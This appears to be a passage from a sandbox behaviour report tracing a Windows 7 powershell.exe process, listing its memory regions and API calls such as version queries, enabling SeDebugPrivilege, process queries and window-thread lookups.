	     region_type = private
	            name = "private_0x000000001cf70000"
	        filename = ""

Region:
	              id = 1679
	        start_va = 0x7fffff06000
	          end_va = 0x7fffff07fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff06000"
	        filename = ""

Region:
	              id = 1680
	        start_va = 0x7fefcf10000
	          end_va = 0x7fefcf2afff
	     entry_point = 0x7fefcf10000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 1681
	        start_va = 0x7ff002a0000
	          end_va = 0x7ff002affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff002a0000"
	        filename = ""

Region:
	              id = 1682
	        start_va = 0x1bca0000
	          end_va = 0x1bcdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001bca0000"
	        filename = ""

Region:
	              id = 1683
	        start_va = 0x7fefc290000
	          end_va = 0x7fefc4a4fff
	     entry_point = 0x7fefc290000
	     region_type = mapped_file
	            name = "gdiplus.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll")

Region:
	              id = 1684
	        start_va = 0x1b4a0000
	          end_va = 0x1b4bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001b4a0000"
	        filename = ""

Region:
	              id = 1685
	        start_va = 0x1cba0000
	          end_va = 0x1cc1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001cba0000"
	        filename = ""

Region:
	              id = 1686
	        start_va = 0x7fffff04000
	          end_va = 0x7fffff05fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff04000"
	        filename = ""

Region:
	              id = 1687
	        start_va = 0x7fefbf10000
	          end_va = 0x7fefc039fff
	     entry_point = 0x7fefbf10000
	     region_type = mapped_file
	            name = "windowscodecs.dll"
	        filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")

Region:
	              id = 1688
	        start_va = 0x2ab0000
	          end_va = 0x2ab0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002ab0000"
	        filename = ""

Region:
	              id = 1689
	        start_va = 0x1ccb0000
	          end_va = 0x1cd3dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001ccb0000"
	        filename = ""

Region:
	              id = 1690
	        start_va = 0x1cd80000
	          end_va = 0x1cdfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001cd80000"
	        filename = ""

Region:
	              id = 1691
	        start_va = 0x1b4a0000
	          end_va = 0x1b4affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001b4a0000"
	        filename = ""

Region:
	              id = 1692
	        start_va = 0x1b4b0000
	          end_va = 0x1b4bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001b4b0000"
	        filename = ""

Region:
	              id = 1693
	        start_va = 0x1b4c0000
	          end_va = 0x1b4cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001b4c0000"
	        filename = ""

Region:
	              id = 1694
	        start_va = 0x1b4f0000
	          end_va = 0x1b4fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001b4f0000"
	        filename = ""

Region:
	              id = 1695
	        start_va = 0x1bce0000
	          end_va = 0x1bceffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001bce0000"
	        filename = ""

Region:
	              id = 1696
	        start_va = 0x1bcf0000
	          end_va = 0x1bcfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001bcf0000"
	        filename = ""

Region:
	              id = 1697
	        start_va = 0x7ff002b0000
	          end_va = 0x7ff002bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff002b0000"
	        filename = ""

Region:
	              id = 1698
	        start_va = 0x1cff0000
	          end_va = 0x1d0effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001cff0000"
	        filename = ""

Region:
	              id = 1699
	        start_va = 0x7ff002c0000
	          end_va = 0x7ff002cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff002c0000"
	        filename = ""


Thread:
	id = 102
	os_tid = 0xb94

	[0060.480] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0060.850] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe
	[0060.850] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe
	[0060.850] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a
	[0060.850] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a
	[0061.570] GetVersionExW (in: lpVersionInformation=0x14da00*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x14da00*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0061.572] GetVersionExW (in: lpVersionInformation=0x14da00*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x14da00*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0061.579] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d620, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0061.586] GetVersionExW (in: lpVersionInformation=0x14d770*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x14d770*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0061.587] SetErrorMode (uMode=0x1) returned 0x1
	[0061.588] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x14d8d0 | out: lpFileInformation=0x14d8d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1
	[0061.588] SetErrorMode (uMode=0x1) returned 0x1
	[0061.600] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x14db40 | out: lpdwHandle=0x14db40) returned 0x94c
	[0061.603] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2c071b8 | out: lpData=0x2c071b8) returned 1
	[0061.605] VerQueryValueW (in: pBlock=0x2c071b8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x14dab8, puLen=0x14dab0 | out: lplpBuffer=0x14dab8*=0x2c07254, puLen=0x14dab0) returned 1
	[0061.610] lstrlenW (lpString="䅁") returned 1
	[0061.623] VerQueryValueW (in: pBlock=0x2c071b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x14da28, puLen=0x14da20 | out: lplpBuffer=0x14da28*=0x2c07330, puLen=0x14da20) returned 1
	[0061.624] lstrlenW (lpString="Microsoft Corporation") returned 21
	[0061.625] CoTaskMemAlloc (cb=0x2e) returned 0x2829730
	[0061.625] lstrcpyW (in: lpString1=0x2829730, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation"
	[0061.626] CoTaskMemFree (pv=0x2829730) 
	[0061.626] VerQueryValueW (in: pBlock=0x2c071b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x14da28, puLen=0x14da20 | out: lplpBuffer=0x14da28*=0x2c07384, puLen=0x14da20) returned 1
	[0061.626] lstrlenW (lpString="System.Management.Automation") returned 28
	[0061.626] CoTaskMemAlloc (cb=0x3c) returned 0x2828290
	[0061.626] lstrcpyW (in: lpString1=0x2828290, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation"
	[0061.626] CoTaskMemFree (pv=0x2828290) 
	[0061.626] VerQueryValueW (in: pBlock=0x2c071b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x14da28, puLen=0x14da20 | out: lplpBuffer=0x14da28*=0x2c073e0, puLen=0x14da20) returned 1
	[0061.626] lstrlenW (lpString="6.1.7601.17514") returned 14
	[0061.626] CoTaskMemAlloc (cb=0x20) returned 0x282ee50
	[0061.626] lstrcpyW (in: lpString1=0x282ee50, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514"
	[0061.627] CoTaskMemFree (pv=0x282ee50) 
	[0061.627] VerQueryValueW (in: pBlock=0x2c071b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x14da28, puLen=0x14da20 | out: lplpBuffer=0x14da28*=0x2c07420, puLen=0x14da20) returned 1
	[0061.627] lstrlenW (lpString="System.Management.Automation.dll") returned 32
	[0061.627] CoTaskMemAlloc (cb=0x44) returned 0x2828290
	[0061.627] lstrcpyW (in: lpString1=0x2828290, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll"
	[0061.627] CoTaskMemFree (pv=0x2828290) 
	[0061.627] VerQueryValueW (in: pBlock=0x2c071b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x14da28, puLen=0x14da20 | out: lplpBuffer=0x14da28*=0x2c07488, puLen=0x14da20) returned 1
	[0061.627] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57
	[0061.627] CoTaskMemAlloc (cb=0x76) returned 0x2f5dd0
	[0061.627] lstrcpyW (in: lpString1=0x2f5dd0, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved."
	[0061.627] CoTaskMemFree (pv=0x2f5dd0) 
	[0061.627] VerQueryValueW (in: pBlock=0x2c071b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x14da28, puLen=0x14da20 | out: lplpBuffer=0x14da28*=0x2c07524, puLen=0x14da20) returned 1
	[0061.627] lstrlenW (lpString="System.Management.Automation.dll") returned 32
	[0061.627] CoTaskMemAlloc (cb=0x44) returned 0x2828290
	[0061.627] lstrcpyW (in: lpString1=0x2828290, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll"
	[0061.627] CoTaskMemFree (pv=0x2828290) 
	[0061.627] VerQueryValueW (in: pBlock=0x2c071b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x14da28, puLen=0x14da20 | out: lplpBuffer=0x14da28*=0x2c07588, puLen=0x14da20) returned 1
	[0061.627] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42
	[0061.627] CoTaskMemAlloc (cb=0x58) returned 0x2a9e10
	[0061.627] lstrcpyW (in: lpString1=0x2a9e10, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System"
	[0061.627] CoTaskMemFree (pv=0x2a9e10) 
	[0061.627] VerQueryValueW (in: pBlock=0x2c071b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x14da28, puLen=0x14da20 | out: lplpBuffer=0x14da28*=0x2c07604, puLen=0x14da20) returned 1
	[0061.627] lstrlenW (lpString="6.1.7601.17514") returned 14
	[0061.627] CoTaskMemAlloc (cb=0x20) returned 0x282ee50
	[0061.627] lstrcpyW (in: lpString1=0x282ee50, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514"
	[0061.627] CoTaskMemFree (pv=0x282ee50) 
	[0061.627] VerQueryValueW (in: pBlock=0x2c071b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x14da28, puLen=0x14da20 | out: lplpBuffer=0x14da28*=0x2c072ac, puLen=0x14da20) returned 1
	[0061.627] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49
	[0061.627] CoTaskMemAlloc (cb=0x66) returned 0x2824f80
	[0061.627] lstrcpyW (in: lpString1=0x2824f80, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly"
	[0061.627] CoTaskMemFree (pv=0x2824f80) 
	[0061.627] VerQueryValueW (in: pBlock=0x2c071b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x14da28, puLen=0x14da20 | out: lplpBuffer=0x14da28*=0x0, puLen=0x14da20) returned 0
	[0061.627] VerQueryValueW (in: pBlock=0x2c071b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x14da28, puLen=0x14da20 | out: lplpBuffer=0x14da28*=0x0, puLen=0x14da20) returned 0
	[0061.627] VerQueryValueW (in: pBlock=0x2c071b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x14da28, puLen=0x14da20 | out: lplpBuffer=0x14da28*=0x0, puLen=0x14da20) returned 0
	[0061.628] VerQueryValueW (in: pBlock=0x2c071b8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x14d9f8, puLen=0x14d9f0 | out: lplpBuffer=0x14d9f8*=0x2c07254, puLen=0x14d9f0) returned 1
	[0061.630] CoTaskMemAlloc (cb=0x204) returned 0x31a210
	[0061.630] VerLanguageNameW (in: wLang=0x0, szLang=0x31a210, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10
	[0061.631] CoTaskMemFree (pv=0x31a210) 
	[0061.631] VerQueryValueW (in: pBlock=0x2c071b8, lpSubBlock="\\", lplpBuffer=0x14da48, puLen=0x14da40 | out: lplpBuffer=0x14da48*=0x2c071e0, puLen=0x14da40) returned 1
	[0061.652] GetCurrentProcessId () returned 0xb90
	[0061.717] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x14c970 | out: lpLuid=0x14c970*(LowPart=0x14, HighPart=0)) returned 1
	[0061.719] GetCurrentProcess () returned 0xffffffffffffffff
	[0061.720] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x14c990 | out: TokenHandle=0x14c990*=0x2f8) returned 1
	[0061.721] AdjustTokenPrivileges (in: TokenHandle=0x2f8, DisableAllPrivileges=0, NewState=0x2c0aa30*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0061.729] CloseHandle (hObject=0x2f8) returned 1
	[0061.735] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb90) returned 0x2f8
	[0061.743] EnumProcessModules (in: hProcess=0x2f8, lphModule=0x2c0aa98, cb=0x200, lpcbNeeded=0x14d9a8 | out: lphModule=0x2c0aa98, lpcbNeeded=0x14d9a8) returned 1
	[0061.746] GetModuleInformation (in: hProcess=0x2f8, hModule=0x13f1f0000, lpmodinfo=0x2c0ad08, cb=0x18 | out: lpmodinfo=0x2c0ad08*(lpBaseOfDll=0x13f1f0000, SizeOfImage=0x77000, EntryPoint=0x13f1fc63c)) returned 1
	[0061.747] CoTaskMemAlloc (cb=0x804) returned 0x28309a0
	[0061.747] GetModuleBaseNameW (in: hProcess=0x2f8, hModule=0x13f1f0000, lpBaseName=0x28309a0, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe
	[0061.747] CoTaskMemFree (pv=0x28309a0) 
	[0061.748] CoTaskMemAlloc (cb=0x804) returned 0x28309a0
	[0061.748] GetModuleFileNameExW (in: hProcess=0x2f8, hModule=0x13f1f0000, lpFilename=0x28309a0, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39
	[0061.748] CoTaskMemFree (pv=0x28309a0) 
	[0061.749] CloseHandle (hObject=0x2f8) returned 1
	[0061.758] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xb90) returned 0x2f8
	[0061.760] GetExitCodeProcess (in: hProcess=0x2f8, lpExitCode=0x14dad8 | out: lpExitCode=0x14dad8*=0x103) returned 1
	[0061.763] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12c0b088, Length=0x20000, ResultLength=0x14daa0 | out: SystemInformation=0x12c0b088, ResultLength=0x14daa0*=0xdcf8) returned 0x0
	[0061.776] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x6d4
	[0061.776] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x32c
	[0061.776] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.776] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.776] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.776] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.776] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.776] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.777] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.777] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.777] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.777] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.777] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.777] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.777] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x3a0
	[0061.777] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.777] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.777] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.777] GetWindowThreadProcessId (in: hWnd=0x40216, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.777] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.777] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.778] GetWindowThreadProcessId (in: hWnd=0x202c6, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.778] GetWindowThreadProcessId (in: hWnd=0x20260, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.778] GetWindowThreadProcessId (in: hWnd=0x3022a, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.778] GetWindowThreadProcessId (in: hWnd=0x302b2, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0xb20
	[0061.778] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.778] GetWindowThreadProcessId (in: hWnd=0x2026c, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.778] GetWindowThreadProcessId (in: hWnd=0x202d4, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.778] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.778] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.778] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.778] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.778] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.779] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0xa7c
	[0061.779] GetWindowThreadProcessId (in: hWnd=0x30214, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.779] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.779] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.779] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.779] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.779] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.779] GetWindowThreadProcessId (in: hWnd=0x2015c, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x900
	[0061.779] GetWindowThreadProcessId (in: hWnd=0x201aa, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.779] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x830
	[0061.779] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.779] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.779] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x820
	[0061.780] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x810
	[0061.780] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x90
	[0061.780] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x20c
	[0061.780] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x3f4
	[0061.780] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x214
	[0061.780] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x14c
	[0061.780] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x678
	[0061.780] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x668
	[0061.780] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x2b4
	[0061.780] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x5ec
	[0061.780] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x1c4
	[0061.780] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x42c
	[0061.781] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x68c
	[0061.781] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x620
	[0061.781] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x250
	[0061.781] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x670
	[0061.781] GetWindowThreadProcessId (in: hWnd=0x50118, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x64
	[0061.781] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x6a4
	[0061.781] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x6d4
	[0061.781] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x6b0
	[0061.781] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x6d4
	[0061.781] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x6b0
	[0061.781] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x6d4
	[0061.781] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x6a4
	[0061.781] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x6a4
	[0061.782] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.782] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.782] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.782] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
